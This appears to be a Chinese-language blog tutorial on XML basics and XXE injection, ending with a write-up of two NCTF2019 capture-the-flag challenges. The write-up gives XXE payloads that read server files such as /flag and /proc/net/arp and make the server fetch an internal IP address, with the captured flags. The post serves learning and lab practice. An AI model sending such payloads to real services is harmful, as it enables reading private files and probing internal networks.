The-XXe

 · 2019-11-26 · 次阅读


XXE

1.What is the XXE?

XXE(XML External Entity Injection)中文名为XML外部实体注入。
要充分了解这个注入方式,得先了解XML的构造。

2.So,How is the Xml working?

XML is a extend of HTML
it’s not a replacment of HTML,but it must be a extend of
HTML.
XML(Extensible Markup Language)
中文名:可扩展标记语言
它是一种标记语言,它的设计宗旨是传输数据,而并非显示数据,这也是与HTML的区别。
XML的标签没有被预定义,因此用户可以自行定义自己的特色标签,如下所示:

<note>a easy write</note>
<writeby>Cupit</writeby>
<to>James</to>

XML被设计具有自我描述性,它也是W3C的推荐标准
XML只是纯文本,有能力处理纯文本的软件都可以处理XML
通过XML,数据能够存储在独立的XML文件中,这样HTML可以专注的进行布局与显示。
通过JS代码,就可以读取一个外部XML文件,并用之更新HTML内的数据内容。

3.learn about the structure of XML

XML文档形成了一种树结构,从根部开始,然后扩展到枝叶
下面是一个XML文档的实例:

<?xml version="1.0" encoding="utf-8"?>
<root>
<note>I LOVE you!<note>
<from>Cupid</from>
<to>ZQ</to>
</root>

第一行是XML的声明,定义了其版本是1.0并且使用的编码是utf-8.
下一行是描述文档的根元素
接下来的几行是描述根的子元素(note,from,to)
XML文档必须包含根元素,是其余元素的父元素

4.the XML’s rule

all THE xml的元素都必须有关闭标签
XML标签对大小写敏感
比如是不同的
当然也应该相对应的正确的关标签
XML必须正确地嵌套,XML文档必须包含根元素
XML的属性值必须加上引号,例如下列:

<note data="2019/09/01"></note>

###4.1实体引用###
在XML中,很多字符具有特殊的意义,由此如果把字符例如”<”放再XML中就会解析错误,解析器会把它当作新元素的开始,例如下面的写法就是错误的:
14>10
当然可以避免这个错误,使用对应的实体引用来代替这个符号

&lt 来代替<
&gt 来代替>
&amp 代替和号&
&apos 代替 单引号
&quot 代替 引号 "

在XML中符号“<”和“&”都是非法的,而大于号是合法的,但是用实体引用代替是一个好习惯

###4.2XML中的注释###
XML中使用以下的方法来注释

<!--this is a comment-->

5.the elements of XML

XML元素指从开始标签知道结束标签的部分,元素课包含其他文本,也可以包含元素,当然它也可以拥有属性
XML属性必须加引号:

<person sex="female">

6.XML DTD

DTD的作用是定义XML文档的结构。它使用一系列合法的元素来定义文档结构。

<!DOCTYPE XXE[
    <!ELEMENT xxe(#PCDATA)>
]>

DTD(Document Type Definition)
中文名:文档类型定义
上面的例子是内部的DOCTYPE声明。

###6.1外部文档声明###
如果DTD位于XML源文件的外部,那么它可以通过如下的语法封装在一个DOCTYPE定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

XXE’s Example in CTF

下面两道XXE的例题是NCTF2019的题,题目平台已经关闭,下面给出其writeup。
1.Fake XML cookbook
进入页面后是一个登陆框,抓包到BP中可以发现其用户信息是采用的XML元素来传递的,那么这种可以直接构造XXE语句获取flag.题目又给出了Hint:flag在/flag下
因而构造如下XXE语句:

<!DOCTYPE XXE[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>&xxe;</username>
<password>21412</password>
</user>

payload构造成功后可以看到Response:

<result><code>0</code><msg>NCTF{W3lc0m3_T0_NCTF_9102}</msg></result>

拿下flag.

2.True XML cookbook
进入页面后同样是登陆框,同理抓包。
构造payload:

<!DOCTYPE XXE[
<!ENTITY xxe SYSTEM "file:///proc/net/arp">
]>
<user>
<username>&xxe;</username>
<password>21412</password>
</user>

读取/etc/hosts发现有个内网IP,读取/proc/net/arp发现有很多内网IP,一个个探测,最后得到正确的flag:IP
payload如下:

<!DOCTYPE XXE[
<!ENTITY xxe SYSTEM "http://192.168.1.8">
]>
<user>
<username>&xxe;</username>
<password>21412</password>
</user>

可以看到response的回应:

<result>
<code>0</code>
<msg>NCTF{XXE-labs_is_g00d}</msg>
</result>

##结语##
最后附上学习链接:2019NCTF平台:https://nctf.x1c.club/(现应该已关)
W3school:https://www.w3school.com.cn/dtd/dtd_intro.asp